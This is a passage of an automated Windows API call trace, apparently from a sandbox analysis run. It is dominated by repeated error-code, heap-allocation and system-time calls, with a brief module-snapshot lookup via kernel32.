SetLastError (dwErrCode=0x0) [0093.404] GetLastError () returned 0x0 [0093.404] SetLastError (dwErrCode=0x0) [0093.404] GetLastError () returned 0x0 [0093.404] SetLastError (dwErrCode=0x0) [0093.404] GetLastError () returned 0x0 [0093.404] SetLastError (dwErrCode=0x0) [0093.404] GetLastError () returned 0x0 [0093.404] SetLastError (dwErrCode=0x0) [0093.404] GetLastError () returned 0x0 [0093.404] SetLastError (dwErrCode=0x0) [0093.404] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.405] SetLastError (dwErrCode=0x0) [0093.405] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.406] SetLastError (dwErrCode=0x0) [0093.406] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.407] SetLastError (dwErrCode=0x0) [0093.407] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.408] SetLastError (dwErrCode=0x0) [0093.408] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.409] SetLastError (dwErrCode=0x0) [0093.409] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.410] SetLastError (dwErrCode=0x0) [0093.410] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.411] GetLastError () returned 0x0 [0093.411] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x0, Size=0x68) returned 0x1fb1990 [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.412] SetLastError (dwErrCode=0x0) [0093.412] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.413] SetLastError (dwErrCode=0x0) [0093.413] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.414] SetLastError (dwErrCode=0x0) [0093.414] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.415] SetLastError (dwErrCode=0x0) [0093.415] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.416] SetLastError (dwErrCode=0x0) [0093.416] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.417] GetLastError () returned 0x0 [0093.417] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.418] GetLastError () returned 0x0 [0093.418] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.419] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.419] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.419] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.419] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.419] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.419] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.419] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.419] SetLastError (dwErrCode=0x0) [0093.419] GetLastError () returned 0x0 [0093.420] SetLastError (dwErrCode=0x0) [0093.427] GetLastError () returned 0x0 [0093.427] SetLastError (dwErrCode=0x0) [0093.427] GetLastError () returned 0x0 [0093.427] SetLastError (dwErrCode=0x0) [0093.427] GetLastError () returned 0x0 [0093.427] SetLastError (dwErrCode=0x0) [0093.427] GetLastError () returned 0x0 [0093.427] SetLastError (dwErrCode=0x0) [0093.427] GetLastError () returned 0x0 [0093.427] SetLastError (dwErrCode=0x0) [0093.427] GetLastError () returned 0x0 [0093.427] SetLastError (dwErrCode=0x0) [0093.427] GetLastError () returned 0x0 [0093.428] SetLastError (dwErrCode=0x0) [0093.428] GetLastError () returned 0x0 [0093.428] SetLastError (dwErrCode=0x0) [0093.428] GetLastError () returned 0x0 [0093.428] SetLastError (dwErrCode=0x0) [0093.428] GetLastError () returned 0x0 [0093.428] SetLastError (dwErrCode=0x0) [0093.428] GetLastError () returned 0x0 [0093.428] SetLastError (dwErrCode=0x0) [0093.428] GetLastError () returned 0x0 [0093.428] SetLastError (dwErrCode=0x0) [0093.428] GetLastError () returned 0x0 [0093.428] SetLastError (dwErrCode=0x0) [0093.428] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x98) returned 0x1fb1a00 [0093.428] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1f) returned 0x1fb1aa0 [0093.428] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x36) returned 0x1fb1ac8 [0093.428] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x37) returned 0x1fb1b08 [0093.428] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x1fb1b48 [0093.428] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x31) returned 0x1fb1b90 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x17) returned 0x1fb1bd0 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x24) returned 0x1fb1bf0 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14) returned 0x1fb1c20 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x1fb1c40 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x25) returned 0x1fb1c58 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x39) returned 0x1fb1c88 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x1fb1cd0 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x17) returned 0x1fb1cf0 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe) returned 0x1fb1d10 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x69) returned 0x1fb1d28 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x1fb1da0 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1b) returned 0x1fb1de8 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1d) returned 0x1fb1e10 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x48) returned 0x1fb1e38 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12) returned 0x1fb1e88 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x1fb1ea8 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1b) returned 0x1fb1ec8 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x24) returned 0x1fb1ef0 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x29) returned 0x1fb1f20 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1e) returned 0x1fb1f58 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x41) returned 0x1fb1f80 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x17) returned 0x1fb1fd0 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf) returned 0x1fb1ff0 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x16) returned 0x1fb2008 [0093.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x1fb2028 [0093.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x29) returned 0x1fb2060 [0093.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x15) returned 0x1fb2098 [0093.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1e) returned 0x1fb20b8 [0093.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x1fb20e0 [0093.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12) returned 0x1fb2118 [0093.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x1fb2138 [0093.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x46) returned 0x1fb2158 [0093.430] HeapFree (in: hHeap=0x1fb0000, dwFlags=0x0, lpMem=0x1fb11f8 | out: hHeap=0x1fb0000) returned 1 [0093.431] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x800) returned 0x1fb21a8 [0093.431] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x80) returned 0x1fb11f8 [0093.431] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0093.431] RtlSizeHeap (HeapHandle=0x1fb0000, Flags=0x0, MemoryPointer=0x1fb11f8) returned 0x80 [0093.432] GetLastError () returned 0x0 [0093.432] SetLastError (dwErrCode=0x0) [0093.432] GetLastError () returned 0x0 [0093.432] SetLastError (dwErrCode=0x0) [0093.432] GetLastError () returned 0x0 [0093.432] SetLastError (dwErrCode=0x0) [0093.432] GetLastError () returned 0x0 [0093.432] SetLastError (dwErrCode=0x0) [0093.432] GetLastError () returned 0x0 [0093.432] SetLastError (dwErrCode=0x0) [0093.432] GetLastError () returned 0x0 [0093.432] SetLastError (dwErrCode=0x0) [0093.432] GetLastError () returned 0x0 [0093.432] SetLastError (dwErrCode=0x0) [0093.432] GetLastError () returned 0x0 [0093.433] SetLastError (dwErrCode=0x0) [0093.433] GetLastError () returned 0x0 [0093.433] SetLastError (dwErrCode=0x0) [0093.433] GetLastError () returned 0x0 [0093.433] SetLastError (dwErrCode=0x0) [0093.433] GetLastError () returned 0x0 [0093.433] SetLastError (dwErrCode=0x0) [0093.433] GetLastError () returned 0x0 [0093.433] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0093.433] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0093.433] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0093.434] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0093.438] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0093.438] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0093.438] GetTickCount () returned 0x2382f [0093.448] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.448] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.448] GetACP () returned 0x4e4 [0093.448] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.448] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.448] GetACP () returned 0x4e4 [0093.448] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.448] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.448] GetACP () returned 0x4e4 [0093.448] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.448] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.448] GetACP () returned 0x4e4 [0093.448] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.448] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.448] GetACP () returned 0x4e4 [0093.448] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.449] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.449] GetACP () returned 0x4e4 [0093.449] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.449] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.449] GetACP () returned 0x4e4 [0093.449] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.449] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.449] GetACP () returned 0x4e4 [0093.449] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.449] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.449] GetACP () returned 0x4e4 [0093.449] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.449] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.449] GetACP () returned 0x4e4 [0093.449] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.449] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.449] GetACP () returned 0x4e4 [0093.449] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.449] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.449] GetACP () returned 0x4e4 [0093.449] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.450] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.450] GetACP () returned 0x4e4 [0093.450] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.450] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.450] GetACP () returned 0x4e4 [0093.450] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.450] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.450] GetACP () returned 0x4e4 [0093.450] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.450] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.450] GetACP () returned 0x4e4 [0093.450] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.450] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.450] GetACP () returned 0x4e4 [0093.450] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.450] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.450] GetACP () returned 0x4e4 [0093.450] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.450] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.450] GetACP () returned 0x4e4 [0093.451] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.451] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.451] GetACP () returned 0x4e4 [0093.451] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.451] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.451] GetACP () returned 0x4e4 [0093.451] GetSystemTimes (in: 